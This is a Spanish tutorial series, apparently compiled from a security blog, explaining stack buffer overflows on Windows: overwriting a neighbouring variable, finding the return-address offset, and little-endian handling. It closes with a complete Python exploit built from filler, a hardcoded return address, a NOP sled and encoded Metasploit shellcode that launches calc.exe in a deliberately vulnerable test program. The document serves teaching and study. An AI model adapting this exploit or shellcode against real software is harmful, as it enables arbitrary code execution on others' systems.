Explotacin de
vulnerabilidades - Stack
Buffer Overflow
http://unlearningsecurity.blogspot.com
NDICE
EXPLOTACIN DE VULNERABILIDADES - STACK BUFFER OVERFLOW (PARTE I) ............................................... 2
EXPLOTACIN DE VULNERABILIDADES - STACK BUFFER OVERFLOW (PARTE II) .............................................. 5
EXPLOTACIN DE VULNERABILIDADES - STACK BUFFER OVERFLOW (PARTE III) ............................................. 9
Si os fijis, se estn estableciendo dos variables: la varaible pass que se iguala a ocho letras
a en minsculas y la variable name que es solicitada por teclado. Tal y como est generado
el cdigo, es imposible acceder a la funcin printf This is imposible!!, ya que la variable
pass nunca es modificada. Pero, realmente esto es cierto?, y como una imagen vale ms
que mil palabras, vamos a ver el estado de la pila justo antes de realizar la comparacin de
cadenas.
He intentado aclarar lo mximo posible la imagen para que no resulte muy complicada, aun as
har una pequea descripcin.
-
Una vez entendido como se almacenan las variables locales en la pila, supongo que ya sabris
a donde quiero llegar.
Aqu es donde nos encontramos la vulnerabilidad Stack Buffer Overflow, Qu pasara si al
pedirnos que introduzcamos nuestro nombre, le asignamos una cadena que supere los 8 bytes
reservados para la variable name?
Vamos ha realizar la prueba con la cadena YYYYYYYYYYYYYYYY, diecisis Y.
Como se puede observar en la captura anterior, hemos podido sobrescribir la variable pass
aadiendo una cadena ms grande que la esperada. En este caso existan la variable name
de 8 bytes y la variable pass de 8 bytes, al introducir una cadena de 16 bytes por teclado
podremos sobrescribir el contenido de la variable pass.
Con lo visto, solo necesitaramos una cadena de diecisis bytes donde los ltimos 8 bytes
fueran la cadena pa$$word para poder sobrescribir la variable name y as acceder al printf
This is imposible!! que en un principio no era posible acceder.
Ejecucin de comando
Alterar el comportamiento de la aplicacin
Denegaciones de Servicio
Elevacin de privilegios
Un ejemplo rpido de como provocar una denegacin de servicio sobre la aplicacin, se podra
realizar introduciendo una cadena de caracteres lo suficientemente larga.
Direccin de retorno: Es el valor exacto que nos indica la direccin de memoria donde
habamos dejado la aplicacin ante de entrar en una subfuncin, para as cuando esta termine
volver a la posicin exacta donde nos quedamos. Este valor se encontrar almacenado en la
siguiente direccin de memoria del EBP de la subfuncin. Podis entenderlo de una forma
ms clara con la imagen de la explicacin de la PILA de primer post de la serie introduccin la
ingeniera inversa.
Shellcode: Si pensamos en una definicin genrica, podemos decir que se trata de la accin u
orden que se desea realizar una vez hemos explotado una vulnerabilidad. Para algo ms
completo, os dejo la definicin de la Wikipedia.
Una vez hemos afianzados estos trminos, pasamos a explicar cmo aprovecharnos de la
vulnerabilidad Stack Buffer Overflo. Supongo que ya os habris echo una idea de lo que
necesitamos conseguir, de forma rpida podemos decir que nuestro principal objetivo es
llegar a sobrescribir la direccin de retorno (almacenada en la PILA) con un valor que apunte
a nuestra shellcode. De este modo conseguiremos que al ejecutarse la instruccin RETN de la
subfuncin, la aplicacin vulnerable ejecute el cdigo (shellcode) que nosotros queramos.
Para no perder la costumbre, realizaremos un ejemplo sencillo con la funcin vulnerable strcpy
y con el siguiente cdigo:
Si os fijis el cdigo es muy simple. En la primera funcin realizamos una llamada a la segunda
pasando como parmetro el primer argumento de la aplicacin, mientras en la segunda
funcin, recogemos dicho argumento y lo copiamos a una variable local de 16 bytes.
El proceso de explotacin lo voy a dividir en cuatro partes:
1 - Deteccin de la vulnerabilidad
Existen multitud de formas de detectar la existencia de la vulnerabilidad Stack Buffer
Overflow en una aplicacin, aunque pocas de ellas se pueden considerar sencillas, nosotros
no vamos a tener problemas al disponer del cdigo.
Al tratarse de una vulnerabilidad Buffer Overflow, una forma sencilla de detectarla, es
mediante la introduccin de una cadena lo suficientemente larga para que sobrescriba parte
de la PILA de la aplicacin y as dejarla sin funcionalidad.
Introducimos los caracteres generados como argumento y observamos la nueva direccin que
nos proporciona el error.
A diferencia del anterior error, este nos est devolviendo la direccin 0x62413961. Si nosotros
transformamos dicho valor a ASCII, obtendramos la siguiente cadena bA9a, el cual sera
errneo ya que la forma de almacenar valores en la pila es Little-endian.
Por lo que hara falta invertir el orden de la direccin y transformar el valor a ASCII:
Valor en STACK
0x62413961
Valor Invertido
0x61394162
Valor en ASCII
a9Ab
podemos aprovechar para saltar a nuestra ShellCode. Un ejemplo visual del proceso de
explotacin podra ser el siguiente.
10
Me gustara resaltar el parmetro -b del comando msfencode, utilizado para descartar los
valores introducidos en el resultado de la ShellCode, muy til cuando se sabe que ciertos
valores no son bien interpretados por la aplicacin.
Debido que la aplicacin se explota a travs de la introduccin de una cadena por sus
argumentos, en el propio exploit, llamaremos a la aplicacin para as pasarle nuestra cadena y
conseguir la ejecucin de cdigo.
El cdigo final del exploit quedara del siguiente modo:
'''
Title: Buffer sencillo - Buffer Overflow Exploit
Author: Daniel Romero Perez
Mail: unlearnsecurity@gmail.com
Blog: unlearningsecurity.blogspot.com
'''
import os
#Buffer
Buffer = "\x41"*28
#RET
RET = "\x7b\x46\x86\x7c"
#Nops
Nops = "\x90"*10
# ShellCode (msfpayload windows/exec cmd=calc.exe R | msfencode -b '\x00\x09\x20\x22' -t
c)
ShellCode = ("\xd9\xc9\xd9\x74\x24\xf4\xb8\xba\xb2\x07\x97\x5b\x2b\xc9"
"\xb1\x33\x83\xeb\xfc\x31\x43\x13\x03\xf9\xa1\xe5\x62\x01"
"\x2d\x60\x8c\xf9\xae\x13\x04\x1c\x9f\x01\x72\x55\xb2\x95"
"\xf0\x3b\x3f\x5d\x54\xaf\xb4\x13\x71\xc0\x7d\x99\xa7\xef"
"\x7e\x2f\x68\xa3\xbd\x31\x14\xb9\x91\x91\x25\x72\xe4\xd0"
"\x62\x6e\x07\x80\x3b\xe5\xba\x35\x4f\xbb\x06\x37\x9f\xb0"
"\x37\x4f\x9a\x06\xc3\xe5\xa5\x56\x7c\x71\xed\x4e\xf6\xdd"
"\xce\x6f\xdb\x3d\x32\x26\x50\xf5\xc0\xb9\xb0\xc7\x29\x88"
"\xfc\x84\x17\x25\xf1\xd5\x50\x81\xea\xa3\xaa\xf2\x97\xb3"
11
"\x68\x89\x43\x31\x6d\x29\x07\xe1\x55\xc8\xc4\x74\x1d\xc6"
"\xa1\xf3\x79\xca\x34\xd7\xf1\xf6\xbd\xd6\xd5\x7f\x85\xfc"
"\xf1\x24\x5d\x9c\xa0\x80\x30\xa1\xb3\x6c\xec\x07\xbf\x9e"
"\xf9\x3e\xe2\xf4\xfc\xb3\x98\xb1\xff\xcb\xa2\x91\x97\xfa"
"\x29\x7e\xef\x02\xf8\x3b\x1f\x49\xa1\x6d\x88\x14\x33\x2c"
"\xd5\xa6\xe9\x72\xe0\x24\x18\x0a\x17\x34\x69\x0f\x53\xf2"
"\x81\x7d\xcc\x97\xa5\xd2\xed\xbd\xc5\xb5\x7d\x5d\x24\x50"
"\x06\xc4\x38");
#Payload
payload = Buffer + RET + Nops + ShellCode
#Argumentos
args = ('arg0', payload)
#Ejecucion de la app con argumentos
data = os.execv("C:\\Documents and Settings\\admin\\Escritorio\\app_vulnerable.exe" ,args)
Si os fijis se ha introducido en el cdigo la cadena (Nops = "\x90"*10), siempre es bueno
aadir algunos NOPs antes de la ShellCode para solventar problemas de alineacin al ejecutar
la misma.
Ejecutamos el exploit y.. FUNCIONA!!, hemos conseguido ejecutar cdigo arbitrario en una
aplicacin vulnerable, dando como resultado una calculadora.
Aado un esquema de lo sucedido interiormente en la aplicacin para aclarar la ejecucin del
cdigo.
12
13